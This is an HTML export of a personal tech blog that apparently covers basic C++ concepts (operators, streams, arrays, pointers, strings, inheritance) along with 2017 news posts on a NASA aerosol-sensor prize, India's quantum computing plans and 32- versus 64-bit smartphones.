<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Pointer to a variable.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*X;</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">? :</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Conditional Expression.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">If Condition is true? then value X: otherwise value Y</td></tr>
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Standard I/O Devices</h1>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Use <tt>iostream</tt> to extract (receive) data from keyboard and send output to the screen</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">IOstream contains definitions of two types:</li>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><tt>istream</tt> – input stream</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><tt>ostream</tt> – output stream</li>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Basic IOstream variables:</li>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><tt>cin</tt> – common input</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><tt>cout</tt> – common output</li>
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cin and cout</h1>
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To use <tt>cin</tt> and <tt>cout</tt>, the preprocessor directive #include <iostream> must be used</div>
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The declaration is similar to the following C++ statements:</div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">istream cin;</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">ostream cout;</li>
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Input stream variables: type istream</div>
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Output stream variables: type ostream</div>
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<span style="border: 0px; font-family: inherit; font-size: 18pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">FUNCTIONS</strong></span></div>
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<span style="border: 0px; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">What are Functions?</strong></span></div>
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A <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">function</b> is a group of statements that together perform a task. Every <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C</b> program has at least one function<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"></b>, which is main(), and all the most trivial programs can define additional <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">functions</b>. You can divide up your code into separate <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">functions</b>.</div>
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<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;">Predefined and User-Defined Functions</span></h1>
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1) <strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Predefined standard library functions</strong> – These are available to anyone who writes a C++ program. This saves the programmer’s time from writing own functions. They are completely debugged, efficient and always produce a precise output. The important contribution of the system-supplied functions is that they provide clarity to the program because they do not have to be redefined. It reduces the <span class="IL_AD" id="IL_AD2" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">source code</span>, which saves the time of the programmer.</div>
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2) <strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">User Defined functions –</strong> C++ language allows additional functions besides the built-in functions called the user-defined function. It allows programmers to define their own functions. The programmer must code the logic of this type. In order to do so, a <span class="IL_AD" id="IL_AD3" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">declaration</span> is needed.</div>
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Enumeration Data Type</h1>
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An <i style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">enumeration</i> is a distinct type whose value is restricted to a range of values (see below for details), which may include several explicitly named constants (“<i style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">enumerators</i>“). The values of the constants are values of an integral type known as the <i style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">underlying type</i> of the enumeration.</div>
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<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">Data types:</strong></span></div>
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<span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; font-size: 18.6667px; margin: 0px; padding: 0px; vertical-align: baseline;">C++ simple data types:</b></span></div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">integral (char, short, int, long, and bool)</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">enum</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">floating (float, double, long double)</li>
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<b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: 14pt; margin: 0px; padding: 0px; vertical-align: baseline;">C++ structured data types</span>:</b></div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">array</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">struct</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">union</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">class</li>
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Arrays</h1>
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C++ provides a data structure, <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">the array</b>, which stores a fixed-size sequential collection of elements of the same type. An array is used to store a collection of data, but it is often more useful to think of an array as a collection of variables of the same type.</div>
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C++ Arrays in Detail</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="40%">Concept</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Multi-dimensional arrays</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ supports multidimensional arrays. The simplest form of the multidimensional array is the two-dimensional array.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Pointer to an array</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">You can generate a pointer to the first element of an array by simply specifying the array name, without any index.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Passing arrays to functions</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">You can pass to the function a pointer to an array by specifying the array’s name without an index.</td></tr>
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Structures</h1>
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The structure is a collection of variables of different data types under a single name. It is similar to a class in that, both hold a collection of data of different data types.</div>
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How to define a structure variable?</h2>
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Once you declare a structure <var style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">person</var> as above. You can define a structure variable as:</div>
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How to define a structure variable?</h2>
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Once you declare a structure person as above.<br />
Person Jack;<br />
Here, a structure variable Jack is defined which is of type structure person.<br />
When structure variable is defined, only then the required memory is allocated by the compiler.</div>
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How to access members of a structure?</h2>
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The members of structure variable are accessed using a dot (.) operator.<br />
Suppose, you want to access salary of structure variable Jack and assign it 98000 to it.</div>
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Jack.age=98000;</div>
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Strings</h1>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="5%">S.N.</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Function & Purpose</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strcpy(s1, s2);</b>Copies string s2 into string s1.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strcat(s1, s2);</b>Concatenates string s2 onto the end of string s1.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">3</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strlen(s1);</b>Returns the length of string s1.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">4</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strcmp(s1, s2);</b>Returns 0 if s1 and s2 are the same; less than 0 if s1<s2; greater than 0 if s1>s2.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">5</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strchr(s1, ch);</b>Returns a pointer to the first occurrence of character ch in string s1.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">6</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">strstr(s1, s2);</b>Returns a pointer to the first occurrence of string s2 in string s1.</td></tr>
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The String Class in C++</h2>
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The standard C++ library provides a <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">string</b> class type that supports all the operations mentioned above, additionally much more functionality. We will study this class in C++ Standard Library</div>
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Pointers</h1>
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What Are Pointers?</h2>
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A <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">pointer</b> is a variable whose value is the address of another variable. Like any variable or constant, you must declare a pointer before you can work with it.</div>
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Using Pointers in C++:</h2>
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There are few important operations, which we will do with the pointers very frequently. <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">(x)</b> we define a pointer variable <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">(y)</b>assign the address of a variable to a pointer and <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">(z)</b> finally access the value at the address available in the pointer variable. This is done by using unary operator <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">*</b> that returns the value of the variable located at the address specified by its operand.</div>
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C++ Pointers in Detail</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="40%">Concept</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ Null Pointers</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ supports null pointer, which is a constant with a value of zero defined in several standard libraries.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ pointer arithmetic</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">There are four arithmetic operators that can be used on pointers: ++, –, +, –</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ pointers vs arrays</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">There is a close relationship between pointers and arrays. Let us check how?</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ array of pointers</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">You can define arrays to hold a number of pointers.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ pointer to pointer</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ allows you to have a pointer to a pointer and so on.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Passing pointers to functions</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Passing an argument by reference or by address both enable the passed argument to be changed in the calling function by the called function.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Return pointer from functions</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">C++ allows a function to return a pointer to local variable, static variable and dynamically allocated memory as well.</td></tr>
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I/O Library Header Files</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><iostream></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">This file defines the <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">cin, cout, cerr</b> and <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">clog</b> objects, which correspond to the standard input stream, the standard output stream, the un-buffered standard error stream and the buffered standard error stream, respectively.</td></tr>
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Inheritance</h1>
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Derive quality and characteristics from parents or ancestors. Like you inherit features of your parents.</div>
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<span style="border: 0px; font-family: inherit; font-size: 12pt; margin: 0px; padding: 0px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Types of Inheritance:</strong></span></div>
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<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Single Inheritance.</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Multilevel Inheritance.</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Multiple Inheritance.</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Hierarchical Inheritance.</li>
<li style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Hybrid Inheritance.</li>
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<span style="border: 0px; font-family: inherit; font-size: 18pt; margin: 0px; padding: 0px; vertical-align: baseline;">Polymorphism</span></div>
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Polymorphism is one of the crucial features of c++ it simply means one name and multiple forms.The function overloading and operator overloading is known as compile time Polymorphism / static Polymorphism.</div>
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Data Abstraction</h1>
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Data abstraction refers to, providing only essential information to the outside world and hiding their background details, i.e., to represent the needed information in program without presenting the details.Data abstraction is a programming (and design) technique that relies on the separation of interface and implementation.</div>
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Data Encapsulation</h1>
<span style="background-color: white; color: #0e0b0b; font-family: "arial" , "helvetica neue" , "helvetica" , sans-serif; font-size: 13px;">Data encapsulation is a mechanism of bundling the data, and the functions that use them and data abstraction is a mechanism for exposing only the interfaces and hiding the implementation details from the user.C++ supports the properties of encapsulation and data hiding through the creation of user-defined types, called classes. We already have studied that a class can contain private, protected and public members.</span> </div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-82392611747526875672017-09-23T21:00:00.000+05:302017-09-23T21:00:21.873+05:30NASA will pay you $100,000 if you help astronauts breathe<div dir="ltr" style="text-align: left;" trbidi="on">
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NASA wants you to help astronauts breathe</h3>
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It’s not often that the incredibly bright minds at NASA are forced to look for solutions from the general public, but the agency just launched a new competition that does just that. NASA wants to find a new aerosol detection technology that can be used on Earth and in space, and it’s offering the hefty sum of $100,000 to any individual or group that can develop the best one.</div>
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Detecting the presence of aerosols — which are tiny airborne particles that we can’t see but regularly breathe in — is vital to the health and well being of long-haul space travelers. Determining the breath-ability and potential danger of any air source is of utmost importance, but current technologies that detect aerosols are too bulky to be considered for long space trips. NASA wants something smaller, but just as effective as today’s top-of-the-line tech.</div>
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“NASA has identified particulate monitoring as a gap in its technology road map to enable future long-term missions,” the competition page explains. “Current technology does not provide the level of sensitivity, the longevity, or the ability to operate in a reduced-gravity environment. The added bonus of this technology demonstration competition is the potential benefit to human health on Earth as well as in space.”</div>
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NASA has partnered with the Robert Wood Johnson Foundation to help manage the competition, and any participants who believe they have a shot at scoring a deal with NASA must register no later than Wednesday, December 13, 2017. An evaluation panel will score each valid application, after which comes a prototyping phase. Finalists will be selected and then after demonstrating and testing their hardware, the grand prize winner will be announced. That individual or group will cash in to the tun of $100,000.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-3098172492438066182017-09-23T19:30:00.000+05:302017-09-23T19:30:29.775+05:30India to Join China and United States With Its Own Quantum Computer<div dir="ltr" style="text-align: left;" trbidi="on">
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India to take on China and United States by building its own Quantum Computer</h3>
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Quantum computer is touted as the next big leap in technology. China has been leading the Quantum computer arena and has already sent a hack-proof quantum computer into space. They even managed to achieve the first ever Star Trek-like teleportation by sending a ‘Photon’ 500 km from space to the Space Center in China. The United States is not far behind but its Quantum computer technology is shrouded in secret under the official secrets act. Indian scientists who have made a name for themselves by sending ‘Mangalyaan’ a Mars orbiter at 1/5th the price of American Mars Orbiter and launching an extraordinary 104 satellites in the space at one go.</div>
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Now the Indian scientists have embarked on their next mission – building India’s own Quantum computer. Keen to tap into the next big advance in computing technology, the Department of Science and Technology (DST) is planning to build its own quantum computer.</div>
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What is a Quantum Computer?</div>
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Unlike the normal computer and laptops that we have at our homes, the quantum computer employs the principles of quantum mechanics to store information in ‘qubits’ instead of the typical ‘bits’ of 1 and 0. While our computers and laptops run on the principle of bits and bytes, the Quantum computers run on ‘Qubits’ These Qubits are theoretically 100 times faster than the conventions bits and bytes and work faster because of the way such circuits are designed, and their promise is that they can do intensive number-crunching tasks much more efficiently than the fastest comparable computers.</div>
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How fast is a Quantum Computer?</div>
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Quantum computers are considered to the fastest things on Earth. To give you an example, a quantum computer would require 3.5 million fewer steps than a traditional machine to sort and parse a billion numbers. A quantum computer can find the solution in only 31,623 steps compared to the millions of steps a conventional computer would take.</div>
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What is the use of a Quantum Computer?</div>
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One of the top uses of Quantum computer is of course military. Indian military could have the power to number crunch any problems from field military formations to in-house missile tests and hydrogen yield testing. Quantum computer can also be used to predict the weather correctly. India depends on monsoon and a correct prediction may help its millions of farmers produce a variety of crops according to the monsoon outbreak. A quantum computer can also help ISRO’s space programme besides providing the necessary infrastructure for the Aadhar card backbone. The Indian government hopes to directly credit benefits and subsidies (Universal Basic Income) directly to the account of the beneficiary.</div>
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How long will India’s Quantum Computer take to build?</div>
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While India has the necessary resources like brain power and funds, quantum computing is a very resource intensive enterprise. The Physics departments at the Indian Institute of Science, Bangalore, and the Harish Chandra Research Institute, Allahabad, have forayed into the theoretical aspects of quantum computing, the first step to building India’s own quantum computer.</div>
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Experts from across the country are expected to gather this month in Allahabad for a workshop to develop such a computer. Canada’s D-Wave Systems which a pioneer in developing quantum computers and has sold machines to Lockheed Martin and Google will also be a part of this august gathering.</div>
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Still, India is at least two years away from actually building its own quantum computer according to experts.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-91066543470770693602017-09-22T19:30:00.000+05:302017-09-22T19:30:11.082+05:30What is the Difference between 32 bit and 64 bit Smartphones?<div dir="ltr" style="text-align: left;" trbidi="on">
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Difference between 32-bit And 64-bit Smartphones.</h3>
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When looking at a phone’s specifications, you may feel at home with statistics such as the amount of RAM and storage space in the device. One thing you may have spotted is when a phone is either “32-bit” or “64-bit” which isn’t self-explanatory as to what it means exactly. So, what does it mean? Let’s take a look at the difference between 32-bit and 64-bit for Android phones, what it means for you as a user, and which one is the better choice.</div>
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<b>What Does 32-bit and 64-bit Mean?</b></div>
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It’s easy to figure that a 64-bit phone is an improvement over a 32-bit phone. But what does 32- and 64-bit mean exactly?</div>
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This specification relates to the type of processor within the device in question. When a processor is labelled as 32- or 64-bit, it’s referring to the amount of values that can be stored on that particular processor’s register. Processors use their register to store data as they perform their job, so more room means more values can be stored. A 32-bit processor has room for 2^32 values (around 4 billion, rounded down), while a 64-bit processor can store 2^64 of them (18 Quintilian, rounded down). This means that 64-bit processors have four billion times more addresses at their disposal than 32-bit processors – a clear improvement!</div>
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<b>What Difference Does 32 bit or 64 bit Make?</b></div>
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A 64-bit processor has a lot more processing space than a 32-bit processor, which definitely sounds impressive on paper. What does it mean when we compare 32-bit and 64-bit for Android phones? What can we see on a 64-bit phone that we won’t on a 32-bit one?</div>
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<b>Processor</b></div>
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With the extra space that 64-bit processors have, they can get through more data per second than 32-bit processors. After all, they have much more room to store more data, which means they can work on larger volumes of data without having to go back to memory as often as 32-bit processors do. As a result, 64-bit processors can take in and process data faster than their 32-bit counterparts – always a plus!</div>
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<b>RAM</b></div>
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One interesting benefit of 32-bit vs. 64-bit for Android phones is that 64-bit processors increase the amount of RAM that can be practically used in a device. The size of a 32-bit register means that software is restricted to using 4GB of memory at an absolute best. This means that if we install more than 4GB of RAM in a phone with a 32-bit processor, the extra RAM can’t be used by software and “goes to waste” as a result.</div>
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There are ways we can circumvent this limit; however, by simply installing a 64-bit processor, the size of its register allows us to use up to 16 exabytes (17 billion GB) of RAM in a device. Of course, it’ll be a long time (if ever!) before we use that much RAM, which means we can have more than 4GB of RAM in our phones. More RAM means more space to put apps in memory which means multitasking between apps gets a lot smoother.</div>
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One thing that won’t always speed up when moving to 64-bit are the apps and the operating system installed on the phone. The problem here is that the developers may have coded these for 32-bit systems, so they didn’t take advantage of the extra hardware a 64-bit phone has to offer. After all, if the developer was aiming for a 32-bit phone, why would they bother trying to use hardware that isn’t there? However, if the operating system or app was coded with 64-bit in mind, there will be notable differences in speed compared to 32-bit variants.</div>
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<b>Is Your Device 64-bit?</b></div>
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If you want to check if your own device is 32- or 64-bit, you can do so easily with AnTuTu Benchmark. Once you’ve downloaded and installed it, press the Info button on the bottom right and check under the CPU category for the Type field. It will tell you what type your phone’s processor is.</div>
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Maybe you have now known the difference between 32 bit and 64 bit smartphones</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-43867318268801292252017-09-21T20:30:00.000+05:302017-09-21T20:30:30.542+05:30How to download Android 8.0 Oreo in your smartphones<div dir="ltr" style="text-align: left;" trbidi="on">
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How To Get Android Oreo Right Now ?</h3>
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Google recently announced its latest version of desert named OS update – Android 8.0 Oreo and many are thinking , how soon will I get this update ? Android updates usually go through a long process where the phone manufacturer and network carrier will test every new version before releasing it to the customer. However, there is a way you can get the Android 8.0 onto your phones right now.</div>
